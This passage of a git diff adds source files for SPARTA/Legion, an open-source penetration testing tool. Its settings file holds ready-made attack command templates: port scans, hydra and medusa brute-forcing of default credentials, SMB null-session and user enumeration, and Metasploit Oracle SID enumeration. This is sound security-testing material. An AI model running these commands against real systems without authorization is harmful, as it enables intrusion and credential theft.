self.emit(SIGNAL("layoutAboutToBeChanged()")) + array = [] + + if Ncol == 0: # if sorting by service name (and by default) + for i in range(len(self.__serviceNames)): + array.append(self.__serviceNames[i]['name']) + + sortArrayWithArray(array, self.__serviceNames) # sort the services based on the values in the array + + if order == Qt.AscendingOrder: # reverse if needed + self.__serviceNames.reverse() + + self.emit(SIGNAL("layoutChanged()")) # update the UI (built-in signal) + + ### getter functions ### + + def getServiceNameForRow(self, row): + return self.__serviceNames[row]['name'] + + def getRowForServiceName(self, serviceNames): + for i in range(len(self.__serviceNames)): + if self.__serviceNames[i]['name'] == serviceNames: + return i diff --git a/app/settings.py b/app/settings.py new file mode 100644 index 00000000..f7e08e47 --- /dev/null +++ b/app/settings.py @@ -0,0 +1,432 @@ +#!/usr/bin/env python + +''' +SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com) +Copyright (c) 2014 SECFORCE (Antonio Quina and Leonidas Stavliotis) + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along with this program. If not, see . +''' + +import sys, os +from PyQt4 import QtCore, QtGui +from app.auxiliary import * # for timestamp + +# this class reads and writes application settings +class AppSettings(): + def __init__(self): + # check if settings file exists and creates it if it doesn't + if not os.path.exists('./legion.conf'): + print('[+] Creating settings file..') + self.createDefaultSettings() + else: + print('[+] Loading settings file..') + self.actions = QtCore.QSettings('./legion.conf', QtCore.QSettings.NativeFormat) + + # This function creates the default settings file. Note that, in general, everything is case sensitive. + # Each action should be in the following format: + # + # (key, [label, command, service]) + # key - must be unique within the group and is used to retrieve each action. is used to create the tab titles and also to recognise nmap commands so we can parse the output (case sensitive) + # label - is what appears in the context menu in the gui + # command - command that will be run. These placeholders will be replaced on-the-fly: [IP] [PORT] [OUTPUT] + # service - service(s) to which the tool applies (comma-separated). Leave empty if valid for all services. + def createDefaultSettings(self): + self.actions = QtCore.QSettings('./legion.conf', QtCore.QSettings.NativeFormat) + + self.actions.beginGroup('GeneralSettings') + self.actions.setValue('default-terminal','gnome-terminal') + self.actions.setValue('tool-output-black-background','False') + self.actions.setValue('screenshooter-timeout','15000') + self.actions.setValue('web-services','http,https,ssl,soap,http-proxy,http-alt,https-alt') + self.actions.setValue('enable-scheduler','True') + self.actions.setValue('enable-scheduler-on-import','False') + self.actions.setValue('max-fast-processes', '10') + self.actions.setValue('max-slow-processes', '10') + self.actions.endGroup() + + self.actions.beginGroup('BruteSettings') + self.actions.setValue('store-cleartext-passwords-on-exit','True') + self.actions.setValue('username-wordlist-path','/usr/share/wordlists/') + self.actions.setValue('password-wordlist-path','/usr/share/wordlists/') + self.actions.setValue('default-username','root') + self.actions.setValue('default-password','password') + self.actions.setValue('services', "asterisk,afp,cisco,cisco-enable,cvs,firebird,ftp,ftps,http-head,http-get,https-head,https-get,http-get-form,http-post-form,https-get-form,https-post-form,http-proxy,http-proxy-urlenum,icq,imap,imaps,irc,ldap2,ldap2s,ldap3,ldap3s,ldap3-crammd5,ldap3-crammd5s,ldap3-digestmd5,ldap3-digestmd5s,mssql,mysql,ncp,nntp,oracle-listener,oracle-sid,pcanywhere,pcnfs,pop3,pop3s,postgres,rdp,rexec,rlogin,rsh,s7-300,sip,smb,smtp,smtps,smtp-enum,snmp,socks5,ssh,sshkey,svn,teamspeak,telnet,telnets,vmauthd,vnc,xmpp") + self.actions.setValue('no-username-services', "cisco,cisco-enable,oracle-listener,s7-300,snmp,vnc") + self.actions.setValue('no-password-services', "oracle-sid,rsh,smtp-enum") + self.actions.endGroup() + + self.actions.beginGroup('StagedNmapSettings') + self.actions.setValue('stage1-ports','T:80,443') + self.actions.setValue('stage2-ports','T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434') + self.actions.setValue('stage3-ports','T:23,21,22,110,111,2049,3389,8080,U:500,5060') + self.actions.setValue('stage4-ports','T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999') + self.actions.setValue('stage5-ports','T:30000-65535') + self.actions.endGroup() + + self.actions.beginGroup('ToolSettings') + self.actions.setValue('nmap-path','/sbin/nmap') + self.actions.setValue('hydra-path','/usr/bin/hydra') + self.actions.setValue('cutycapt-path','/usr/bin/cutycapt') + self.actions.setValue('texteditor-path','/usr/bin/leafpad') + self.actions.endGroup() + + self.actions.beginGroup('HostActions') + self.actions.setValue("nmap-fast-tcp", ["Run nmap (fast TCP)", "nmap -Pn -F -T4 -vvvv [IP] -oA \"[OUTPUT]\""]) + self.actions.setValue("nmap-full-tcp", ["Run nmap (full TCP)", "nmap -Pn -sV -sC -O -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\""]) + self.actions.setValue("nmap-fast-udp", ["Run nmap (fast UDP)", "nmap -n -Pn -sU -F --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\""]) + self.actions.setValue("nmap-udp-1000", ["Run nmap (top 1000 quick UDP)", "nmap -n -Pn -sU --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\""]) + self.actions.setValue("nmap-full-udp", ["Run nmap (full UDP)", "nmap -n -Pn -sU -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\""]) + self.actions.setValue("unicornscan-full-udp", ["Run unicornscan (full UDP)", "unicornscan -mU -Ir 1000 [IP]:a -v"]) + self.actions.endGroup() + + self.actions.beginGroup('PortActions') + self.actions.setValue("banner", ["Grab banner", "bash -c \"echo \"\" | nc -v -n -w1 [IP] [PORT]\"", ""]) + self.actions.setValue("nmap", ["Run nmap (scripts) on port", "nmap -Pn -sV -sC -vvvvv -p[PORT] [IP] -oA [OUTPUT]", ""]) + self.actions.setValue("nikto", ["Run nikto", "nikto -o \"[OUTPUT].txt\" -p [PORT] -h [IP]", "http,https,ssl,soap,http-proxy,http-alt"]) + self.actions.setValue("dirbuster", ["Launch dirbuster", "java -Xmx256M -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -u http://[IP]:[PORT]/", "http,https,ssl,soap,http-proxy,http-alt"]) + self.actions.setValue("webslayer", ["Launch webslayer", "webslayer", "http,https,ssl,soap,http-proxy,http-alt"]) + self.actions.setValue("whatweb", ["Run whatweb", "whatweb [IP]:[PORT] --color=never --log-brief=\"[OUTPUT].txt\"", "http,https,ssl,soap,http-proxy,http-alt"]) + + ### SMB + self.actions.setValue("samrdump", ["Run samrdump", "python /usr/share/doc/python-impacket/examples/samrdump.py [IP] [PORT]/SMB", "netbios-ssn,microsoft-ds"]) + self.actions.setValue("nbtscan", ["Run nbtscan", "nbtscan -v -h [IP]", "netbios-ns"]) + self.actions.setValue("smbenum", ["Run smbenum", "bash ./scripts/smbenum.sh [IP]", "netbios-ssn,microsoft-ds"]) + self.actions.setValue("enum4linux", ["Run enum4linux", "enum4linux [IP]", "netbios-ssn,microsoft-ds"]) + self.actions.setValue("polenum", ["Extract password policy (polenum)", "polenum [IP]", "netbios-ssn,microsoft-ds"]) + self.actions.setValue("smb-enum-users", ["Enumerate users (nmap)", "nmap -p[PORT] --script=smb-enum-users [IP] -vvvvv", "netbios-ssn,microsoft-ds"]) + self.actions.setValue("smb-enum-users-rpc", ["Enumerate users (rpcclient)", "bash -c \"echo 'enumdomusers' | rpcclient [IP] -U%\"", "netbios-ssn,microsoft-ds"]) + self.actions.setValue("smb-enum-admins", ["Enumerate domain admins (net)", "net rpc group members \"Domain Admins\" -I [IP] -U% ", "netbios-ssn,microsoft-ds"]) + self.actions.setValue("smb-enum-groups", ["Enumerate groups (nmap)", "nmap -p[PORT] --script=smb-enum-groups [IP] -vvvvv", "netbios-ssn,microsoft-ds"]) + self.actions.setValue("smb-enum-shares", ["Enumerate shares (nmap)", "nmap -p[PORT] --script=smb-enum-shares [IP] -vvvvv", "netbios-ssn,microsoft-ds"]) + self.actions.setValue("smb-enum-sessions", ["Enumerate logged in users (nmap)", "nmap -p[PORT] --script=smb-enum-sessions [IP] -vvvvv", "netbios-ssn,microsoft-ds"]) + self.actions.setValue("smb-enum-policies", ["Extract password policy (nmap)", "nmap -p[PORT] --script=smb-enum-domains [IP] -vvvvv", "netbios-ssn,microsoft-ds"]) + self.actions.setValue("smb-null-sessions", ["Check for null sessions (rpcclient)", "bash -c \"echo 'srvinfo' | rpcclient [IP] -U%\"", "netbios-ssn,microsoft-ds"]) + ### + + self.actions.setValue("ldapsearch", ["Run ldapsearch", "ldapsearch -h [IP] -p [PORT] -x -s base", "ldap"]) + self.actions.setValue("snmpcheck", ["Run snmpcheck", "snmp-check -t [IP]", "snmp,snmptrap"]) ###Change from snmpcheck to snmp-check for Kali 2.0 + self.actions.setValue("rpcinfo", ["Run rpcinfo", "rpcinfo -p [IP]", "rpcbind"]) + self.actions.setValue("rdp-sec-check", ["Run rdp-sec-check.pl", "perl ./scripts/rdp-sec-check.pl [IP]:[PORT]", "ms-wbt-server"]) + self.actions.setValue("showmount", ["Show nfs shares", "showmount -e [IP]", "nfs"]) + self.actions.setValue("x11screen", ["Run x11screenshot", "bash ./scripts/x11screenshot.sh [IP]", "X11"]) + self.actions.setValue("sslscan", ["Run sslscan", "sslscan --no-failed [IP]:[PORT]", "https,ssl"]) + self.actions.setValue("sslyze", ["Run sslyze", "sslyze --regular [IP]:[PORT]", "https,ssl,ms-wbt-server,imap,pop3,smtp"]) + + self.actions.setValue("rwho", ["Run rwho", "rwho -a [IP]", "who"]) + self.actions.setValue("finger", ["Enumerate users (finger)", "./scripts/fingertool.sh [IP]", "finger"]) + + self.actions.setValue("smtp-enum-vrfy", ["Enumerate SMTP users (VRFY)", "smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT]", "smtp"]) + self.actions.setValue("smtp-enum-expn", ["Enumerate SMTP users (EXPN)", "smtp-user-enum -M EXPN -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT]", "smtp"]) + self.actions.setValue("smtp-enum-rcpt", ["Enumerate SMTP users (RCPT)", "smtp-user-enum -M RCPT -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT]", "smtp"]) + + self.actions.setValue("ftp-default", ["Check for default ftp credentials", "hydra -s [PORT] -C ./wordlists/ftp-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] ftp", "ftp"]) + self.actions.setValue("mssql-default", ["Check for default mssql credentials", "hydra -s [PORT] -C ./wordlists/mssql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mssql", "ms-sql-s"]) + self.actions.setValue("mysql-default", ["Check for default mysql credentials", "hydra -s [PORT] -C ./wordlists/mysql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mysql", "mysql"]) + self.actions.setValue("oracle-default", ["Check for default oracle credentials", "hydra -s [PORT] -C ./wordlists/oracle-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] oracle-listener", "oracle-tns"]) + self.actions.setValue("postgres-default", ["Check for default postgres credentials", "hydra -s [PORT] -C ./wordlists/postgres-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] postgres", "postgresql"]) + #self.actions.setValue("snmp-default", ["Check for default community strings", "onesixtyone -c /usr/share/doc/onesixtyone/dict.txt [IP]", "snmp,snmptrap"]) + #self.actions.setValue("snmp-default", ["Check for default community strings", "python ./scripts/snmpbrute.py.old -t [IP] -p [PORT] -f ./wordlists/snmp-default.txt", "snmp,snmptrap"]) + self.actions.setValue("snmp-default", ["Check for default community strings", "python ./scripts/snmpbrute.py -t [IP] -p [PORT] -f ./wordlists/snmp-default.txt -b --no-colours", "snmp,snmptrap"]) + self.actions.setValue("snmp-brute", ["Bruteforce community strings (medusa)", "bash -c \"medusa -h [IP] -u root -P ./wordlists/snmp-default.txt -M snmp | grep SUCCESS\"", "snmp,snmptrap"]) + self.actions.setValue("oracle-version", ["Get version", "msfcli auxiliary/scanner/oracle/tnslsnr_version rhosts=[IP] E", "oracle-tns"]) + self.actions.setValue("oracle-sid", ["Oracle SID enumeration", "msfcli auxiliary/scanner/oracle/sid_enum rhosts=[IP] E", "oracle-tns"]) + ### + self.actions.endGroup() + + self.actions.beginGroup('PortTerminalActions') + self.actions.setValue("netcat", ["Open with netcat", "nc -v [IP] [PORT]", ""]) + self.actions.setValue("telnet", ["Open with telnet", "telnet [IP] [PORT]", ""]) + self.actions.setValue("ftp", ["Open with ftp client", "ftp [IP] [PORT]", "ftp"]) + self.actions.setValue("mysql", ["Open with mysql client (as root)", "mysql -u root -h [IP] --port=[PORT] -p", "mysql"]) + self.actions.setValue("mssql", ["Open with mssql client (as sa)", "python /usr/share/doc/python-impacket/examples/mssqlclient.py -p [PORT] sa@[IP]", "mys-sql-s,codasrv-se"]) + self.actions.setValue("ssh", ["Open with ssh client (as root)", "ssh root@[IP] -p [PORT]", "ssh"]) + self.actions.setValue("psql", ["Open with postgres client (as postgres)", "psql -h [IP] -p [PORT] -U postgres", "postgres"]) + self.actions.setValue("rdesktop", ["Open with rdesktop", "rdesktop [IP]:[PORT]", "ms-wbt-server"]) + self.actions.setValue("rpcclient", ["Open with rpcclient (NULL session)", "rpcclient [IP] -p [PORT] -U%", "netbios-ssn,microsoft-ds"]) + self.actions.setValue("vncviewer", ["Open with vncviewer", "vncviewer [IP]:[PORT]", "vnc"]) + self.actions.setValue("xephyr", ["Open with Xephyr", "Xephyr -query [IP] :1", "xdmcp"]) + self.actions.setValue("rlogin", ["Open with rlogin", "rlogin -i root -p [PORT] [IP]", "login"]) + self.actions.setValue("rsh", ["Open with rsh", "rsh -l root [IP]", "shell"]) + + self.actions.endGroup() + + self.actions.beginGroup('SchedulerSettings') + self.actions.setValue("nikto",["http,https,ssl,soap,http-proxy,http-alt,https-alt","tcp"]) + self.actions.setValue("screenshooter",["http,https,ssl,http-proxy,http-alt,https-alt","tcp"]) + self.actions.setValue("smbenum",["microsoft-ds","tcp"]) +# self.actions.setValue("enum4linux","netbios-ssn,microsoft-ds") +# self.actions.setValue("smb-null-sessions","netbios-ssn,microsoft-ds") +# self.actions.setValue("nbtscan","netbios-ns") + self.actions.setValue("snmpcheck",["snmp","udp"]) + self.actions.setValue("x11screen",["X11","tcp"]) + self.actions.setValue("snmp-default",["snmp","udp"]) + self.actions.setValue("smtp-enum-vrfy",["smtp","tcp"]) + self.actions.setValue("mysql-default",["mysql","tcp"]) + self.actions.setValue("mssql-default",["ms-sql-s","tcp"]) + self.actions.setValue("ftp-default",["ftp","tcp"]) + self.actions.setValue("postgres-default",["postgresql","tcp"]) + self.actions.setValue("oracle-default",["oracle-tns","tcp"]) + + self.actions.endGroup() + + self.actions.sync() + + # NOTE: the weird order of elements in the functions below is due to historical reasons. Change this some day. + + def getGeneralSettings(self): + settings = dict() + self.actions.beginGroup('GeneralSettings') + keys = self.actions.childKeys() + for k in keys: + settings.update({str(k):str(self.actions.value(k))}) + self.actions.endGroup() + return settings + + def getBruteSettings(self): + settings = dict() + self.actions.beginGroup('BruteSettings') + keys = self.actions.childKeys() + for k in keys: + settings.update({str(k):str(self.actions.value(k))}) + self.actions.endGroup() + return settings + + def getStagedNmapSettings(self): + settings = dict() + self.actions.beginGroup('StagedNmapSettings') + keys = self.actions.childKeys() + for k in keys: + settings.update({str(k):str(self.actions.value(k))}) + self.actions.endGroup() + return settings + + def getToolSettings(self): + settings = dict() + self.actions.beginGroup('ToolSettings') + keys = self.actions.childKeys() + for k in keys: + settings.update({str(k):str(self.actions.value(k))}) + self.actions.endGroup() + return settings + + # this function fetches all the host actions from the settings file + def getHostActions(self): + hostactions = [] + sortArray = [] + self.actions.beginGroup('HostActions') + keys = self.actions.childKeys() + for k in keys: + hostactions.append([self.actions.value(k)[0], str(k), self.actions.value(k)[1]]) + sortArray.append(self.actions.value(k)[0]) + self.actions.endGroup() + sortArrayWithArray(sortArray, hostactions) # sort by label so that it appears nicely in the context menu + return hostactions + + # this function fetches all the port actions from the settings file + def getPortActions(self): + portactions = [] + sortArray = [] + self.actions.beginGroup('PortActions') + keys = self.actions.childKeys() + for k in keys: + portactions.append([self.actions.value(k)[0], str(k), self.actions.value(k)[1], self.actions.value(k)[2]]) + sortArray.append(self.actions.value(k)[0]) + self.actions.endGroup() + sortArrayWithArray(sortArray, portactions) # sort by label so that it appears nicely in the context menu + return portactions + + # this function fetches all the port actions that will be run as terminal commands from the settings file + def getPortTerminalActions(self): + portactions = [] + sortArray = [] + self.actions.beginGroup('PortTerminalActions') + keys = self.actions.childKeys() + for k in keys: + portactions.append([self.actions.value(k)[0], str(k), self.actions.value(k)[1], self.actions.value(k)[2]]) + sortArray.append(self.actions.value(k)[0]) + self.actions.endGroup() + sortArrayWithArray(sortArray, portactions) # sort by label so that it appears nicely in the context menu + return portactions + + def getSchedulerSettings(self): + settings = [] + self.actions.beginGroup('SchedulerSettings') + keys = self.actions.childKeys() + for k in keys: + settings.append([str(k),self.actions.value(k)[0],self.actions.value(k)[1]]) + self.actions.endGroup() + return settings + + def getSchedulerSettings_old(self): + settings = dict() + self.actions.beginGroup('SchedulerSettings') + keys = self.actions.childKeys() + for k in keys: + settings.update({str(k):str(self.actions.value(k))}) + self.actions.endGroup() + return settings + + def backupAndSave(self, newSettings): + # Backup and save + print('[+] Backing up old settings and saving new settings..') + os.rename('./legion.conf', './'+getTimestamp()+'-legion.conf') + self.actions = QtCore.QSettings('./legion.conf', QtCore.QSettings.NativeFormat) + + self.actions.beginGroup('GeneralSettings') + self.actions.setValue('default-terminal',newSettings.general_default_terminal) + self.actions.setValue('tool-output-black-background',newSettings.general_tool_output_black_background) + self.actions.setValue('screenshooter-timeout',newSettings.general_screenshooter_timeout) + self.actions.setValue('web-services',newSettings.general_web_services) + self.actions.setValue('enable-scheduler',newSettings.general_enable_scheduler) + self.actions.setValue('enable-scheduler-on-import',newSettings.general_enable_scheduler_on_import) + self.actions.setValue('max-fast-processes', newSettings.general_max_fast_processes) + self.actions.setValue('max-slow-processes', newSettings.general_max_slow_processes) + self.actions.endGroup() + + self.actions.beginGroup('BruteSettings') + self.actions.setValue('store-cleartext-passwords-on-exit',newSettings.brute_store_cleartext_passwords_on_exit) + self.actions.setValue('username-wordlist-path',newSettings.brute_username_wordlist_path) + self.actions.setValue('password-wordlist-path',newSettings.brute_password_wordlist_path) + self.actions.setValue('default-username',newSettings.brute_default_username) + self.actions.setValue('default-password',newSettings.brute_default_password) + self.actions.setValue('services', newSettings.brute_services) + self.actions.setValue('no-username-services', newSettings.brute_no_username_services) + self.actions.setValue('no-password-services', newSettings.brute_no_password_services) + self.actions.endGroup() + + self.actions.beginGroup('StagedNmapSettings') + self.actions.setValue('stage1-ports',newSettings.tools_nmap_stage1_ports) + self.actions.setValue('stage2-ports',newSettings.tools_nmap_stage2_ports) + self.actions.setValue('stage3-ports',newSettings.tools_nmap_stage3_ports) + self.actions.setValue('stage4-ports',newSettings.tools_nmap_stage4_ports) + self.actions.setValue('stage5-ports',newSettings.tools_nmap_stage5_ports) + self.actions.endGroup() + + self.actions.beginGroup('HostActions') + for a in newSettings.hostActions: + self.actions.setValue(a[1], [a[0], a[2]]) + self.actions.endGroup() + + self.actions.beginGroup('PortActions') + for a in newSettings.portActions: + self.actions.setValue(a[1], [a[0], a[2], a[3]]) + self.actions.endGroup() + + self.actions.beginGroup('PortTerminalActions') + for a in newSettings.portTerminalActions: + self.actions.setValue(a[1], [a[0], a[2], a[3]]) + self.actions.endGroup() + + self.actions.beginGroup('SchedulerSettings') + for tool in newSettings.automatedAttacks: + self.actions.setValue(tool, newSettings.automatedAttacks[tool]) + self.actions.endGroup() + + self.actions.sync() + +# This class first sets all the default settings and then overwrites them with the settings found in the configuration file +class Settings(): + def __init__(self, appSettings=None): + + # general + self.general_default_terminal = "gnome-terminal" + self.general_tool_output_black_background = "False" + self.general_screenshooter_timeout = "15000" + self.general_web_services = "http,https,ssl,soap,http-proxy,http-alt,https-alt" + self.general_enable_scheduler = "True" + self.general_max_fast_processes = "10" + self.general_max_slow_processes = "10" + + # brute + self.brute_store_cleartext_passwords_on_exit = "True" + self.brute_username_wordlist_path = "/usr/share/wordlists/" + self.brute_password_wordlist_path = "/usr/share/wordlists/" + self.brute_default_username = "root" + self.brute_default_password = "password" + self.brute_services = "asterisk,afp,cisco,cisco-enable,cvs,firebird,ftp,ftps,http-head,http-get,https-head,https-get,http-get-form,http-post-form,https-get-form,https-post-form,http-proxy,http-proxy-urlenum,icq,imap,imaps,irc,ldap2,ldap2s,ldap3,ldap3s,ldap3-crammd5,ldap3-crammd5s,ldap3-digestmd5,ldap3-digestmd5s,mssql,mysql,ncp,nntp,oracle-listener,oracle-sid,pcanywhere,pcnfs,pop3,pop3s,postgres,rdp,rexec,rlogin,rsh,s7-300,sip,smb,smtp,smtps,smtp-enum,snmp,socks5,ssh,sshkey,svn,teamspeak,telnet,telnets,vmauthd,vnc,xmpp" + self.brute_no_username_services = "cisco,cisco-enable,oracle-listener,s7-300,snmp,vnc" + self.brute_no_password_services = "oracle-sid,rsh,smtp-enum" + + # tools + self.tools_nmap_stage1_ports = "T:80,443" + self.tools_nmap_stage2_ports = "T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434" + self.tools_nmap_stage3_ports = "T:23,21,22,110,111,2049,3389,8080,U:500,5060" + self.tools_nmap_stage4_ports = "T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999" + self.tools_nmap_stage5_ports = "T:30000-65535" + + self.tools_path_nmap = "/sbin/nmap" + self.tools_path_hydra = "/usr/bin/hydra" + self.tools_path_cutycapt = "/usr/bin/cutycapt" + self.tools_path_texteditor = "/usr/bin/leafpad" + + self.hostActions = [] + self.portActions = [] + self.portTerminalActions = [] + self.stagedNmapSettings = [] + self.automatedAttacks = [] + + # now that all defaults are set, overwrite with whatever was in the .conf file (stored in appSettings) + if appSettings: + try: + self.generalSettings = appSettings.getGeneralSettings() + self.bruteSettings = appSettings.getBruteSettings() + self.stagedNmapSettings = appSettings.getStagedNmapSettings() + self.toolSettings = appSettings.getToolSettings() + self.hostActions = appSettings.getHostActions() + self.portActions = appSettings.getPortActions() + self.portTerminalActions = appSettings.getPortTerminalActions() + self.automatedAttacks = appSettings.getSchedulerSettings() + + # general + self.general_default_terminal = self.generalSettings['default-terminal'] + self.general_tool_output_black_background = self.generalSettings['tool-output-black-background'] + self.general_screenshooter_timeout = self.generalSettings['screenshooter-timeout'] + self.general_web_services = self.generalSettings['web-services'] + self.general_enable_scheduler = self.generalSettings['enable-scheduler'] + self.general_enable_scheduler_on_import = self.generalSettings['enable-scheduler-on-import'] + self.general_max_fast_processes = self.generalSettings['max-fast-processes'] + self.general_max_slow_processes = self.generalSettings['max-slow-processes'] + + # brute + self.brute_store_cleartext_passwords_on_exit = self.bruteSettings['store-cleartext-passwords-on-exit'] + self.brute_username_wordlist_path = self.bruteSettings['username-wordlist-path'] + self.brute_password_wordlist_path = self.bruteSettings['password-wordlist-path'] + self.brute_default_username = self.bruteSettings['default-username'] + self.brute_default_password = self.bruteSettings['default-password'] + self.brute_services = self.bruteSettings['services'] + self.brute_no_username_services = self.bruteSettings['no-username-services'] + self.brute_no_password_services = self.bruteSettings['no-password-services'] + + # tools + self.tools_nmap_stage1_ports = self.stagedNmapSettings['stage1-ports'] + self.tools_nmap_stage2_ports = self.stagedNmapSettings['stage2-ports'] + self.tools_nmap_stage3_ports = self.stagedNmapSettings['stage3-ports'] + self.tools_nmap_stage4_ports = self.stagedNmapSettings['stage4-ports'] + self.tools_nmap_stage5_ports = self.stagedNmapSettings['stage5-ports'] + + self.tools_path_nmap = self.toolSettings['nmap-path'] + self.tools_path_hydra = self.toolSettings['hydra-path'] + self.tools_path_cutycapt = self.toolSettings['cutycapt-path'] + self.tools_path_texteditor = self.toolSettings['texteditor-path'] + + except KeyError: + print('\t[-] Something went wrong while loading the configuration file. Falling back to default settings for some settings.') + print('\t[-] Go to the settings menu to fix the issues!') + # TODO: send signal to automatically open settings dialog here + + def __eq__(self, other): # returns false if settings objects are different + if type(other) is type(self): + return self.__dict__ == other.__dict__ + return False + +if __name__ == "__main__": + settings = AppSettings() + s = Settings(settings) + s2 = Settings(settings) + print(s == s2) + s2.general_default_terminal = 'whatever' + print(s == s2) diff --git a/controller/__init__.py b/controller/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/controller/controller.py b/controller/controller.py new file mode 100644 index 00000000..a077d289 --- /dev/null +++ b/controller/controller.py @@ -0,0 +1,682 @@ +#!/usr/bin/env python + +''' +SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com) +Copyright (c) 2015 SECFORCE (Antonio Quina and Leonidas Stavliotis) + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along with this program. If not, see . +''' + +import sys, os, ntpath, signal, re, subprocess # for file operations, to kill processes, for regex, for subprocesses +try: + import queue +except: + import Queue as queue +from PyQt4.QtGui import * # for filters dialog +from app.logic import * +from app.auxiliary import * +from app.settings import * + +class Controller(): + + # initialisations that will happen once - when the program is launched + def __init__(self, view, logic): + self.version = 'LEGION 0.1.0' # update this everytime you commit! + self.logic = logic + self.view = view + self.view.setController(self) + + self.loadSettings() # creation of context menu actions from settings file and set up of various settings + self.initNmapImporter() + self.initScreenshooter() + self.initBrowserOpener() + self.start() # initialisations (globals, etc) + self.initTimers() + + # initialisations that will happen everytime we create/open a project - can happen several times in the program's lifetime + def start(self, title='*untitled'): + self.processes = [] # to store all the processes we run (nmaps, niktos, etc) + self.fastProcessQueue = queue.Queue() # to manage fast processes (banner, snmpenum, etc) + #self.slowProcessQueue = Queue.Queue() # to manage slow processes (dirbuster, hydra, etc) + self.fastProcessesRunning = 0 # counts the number of fast processes currently running + self.slowProcessesRunning = 0 # counts the number of slow processes currently running + self.nmapImporter.setDB(self.logic.db) # tell nmap importer which db to use + self.updateOutputFolder() # tell screenshooter where the output folder is + self.view.start(title) + + def initNmapImporter(self): + self.nmapImporter = NmapImporter() + self.nmapImporter.tick.connect(self.view.importProgressWidget.setProgress) # update the progress bar + self.nmapImporter.done.connect(self.nmapImportFinished) + self.nmapImporter.schedule.connect(self.scheduler) # run automated attacks + + def initScreenshooter(self): + self.screenshooter = Screenshooter(self.settings.general_screenshooter_timeout) # screenshot taker object (different thread) + self.screenshooter.done.connect(self.screenshotFinished) + + def initBrowserOpener(self): + self.browser = BrowserOpener() # browser opener object (different thread) + + def initTimers(self): # these timers are used to prevent from updating the UI several times within a short time period - which freezes the UI + self.updateUITimer = QTimer() + self.updateUITimer.setSingleShot(True) + self.updateUITimer.timeout.connect(self.view.updateProcessesTableView) + self.updateUITimer.timeout.connect(self.view.updateToolsTableView) + + self.updateUI2Timer = QTimer() + self.updateUI2Timer.setSingleShot(True) + self.updateUI2Timer.timeout.connect(self.view.updateInterface) + + # this function fetches all the settings from the conf file. Among other things it populates the actions lists that will be used in the context menus. + def loadSettings(self): + self.settingsFile = AppSettings() + self.settings = Settings(self.settingsFile) # load settings from conf file (create conf file first if necessary) + self.originalSettings = Settings(self.settingsFile) # save the original state so that we can know if something has changed when we exit SPARTA + self.logic.setStoreWordlistsOnExit(self.settings.brute_store_cleartext_passwords_on_exit=='True') + self.view.settingsWidget.setSettings(Settings(self.settingsFile)) + + def applySettings(self, newSettings): # call this function when clicking 'apply' in the settings menu (after validation) + print('[+] Applying settings!') + self.settings = newSettings + + def cancelSettings(self): # called when the user presses cancel in the Settings dialog + self.view.settingsWidget.setSettings(self.settings) # resets the dialog's settings to the current application settings to forget any changes made by the user + + def saveSettings(self): + if not self.settings == self.originalSettings: + print('[+] Settings have been changed.') + self.settingsFile.backupAndSave(self.settings) + else: + print('[+] Settings have NOT been changed.') + + def getSettings(self): + return self.settings + + #################### AUXILIARY #################### + + def getCWD(self): + return self.logic.cwd + + def getProjectName(self): + return self.logic.projectname + + def getVersion(self): + return self.version + + def getRunningFolder(self): + return self.logic.runningfolder + + def getOutputFolder(self): + return self.logic.outputfolder + + def getUserlistPath(self): + return self.logic.usernamesWordlist.filename + + def getPasslistPath(self): + return self.logic.passwordsWordlist.filename + + def updateOutputFolder(self): + self.screenshooter.updateOutputFolder(self.logic.outputfolder+'/screenshots') # update screenshot folder + + def copyNmapXMLToOutputFolder(self, filename): + self.logic.copyNmapXMLToOutputFolder(filename) + + def isTempProject(self): + return self.logic.istemp + + def getDB(self): + return self.logic.db + + def getRunningProcesses(self): + return self.processes + + def getHostActions(self): + return self.settings.hostActions + + def getPortActions(self): + return self.settings.portActions + + def getPortTerminalActions(self): + return self.settings.portTerminalActions + + #################### ACTIONS #################### + + def createNewProject(self): + self.view.closeProject() # removes temp folder (if any) + self.logic.createTemporaryFiles() # creates new temp files and folders + self.start() # initialisations (globals, etc) + + def openExistingProject(self, filename): + self.view.closeProject() + self.view.importProgressWidget.reset('Opening project..') + self.view.importProgressWidget.show() # show the progress widget + self.logic.openExistingProject(filename) + self.start(ntpath.basename(str(self.logic.projectname))) # initialisations (globals, signals, etc) + self.view.restoreToolTabs() # restores the tool tabs for each host + self.view.hostTableClick() # click on first host to restore his host tool tabs + self.view.importProgressWidget.hide() # hide the progress widget + + def saveProject(self, lastHostIdClicked, notes): + if not 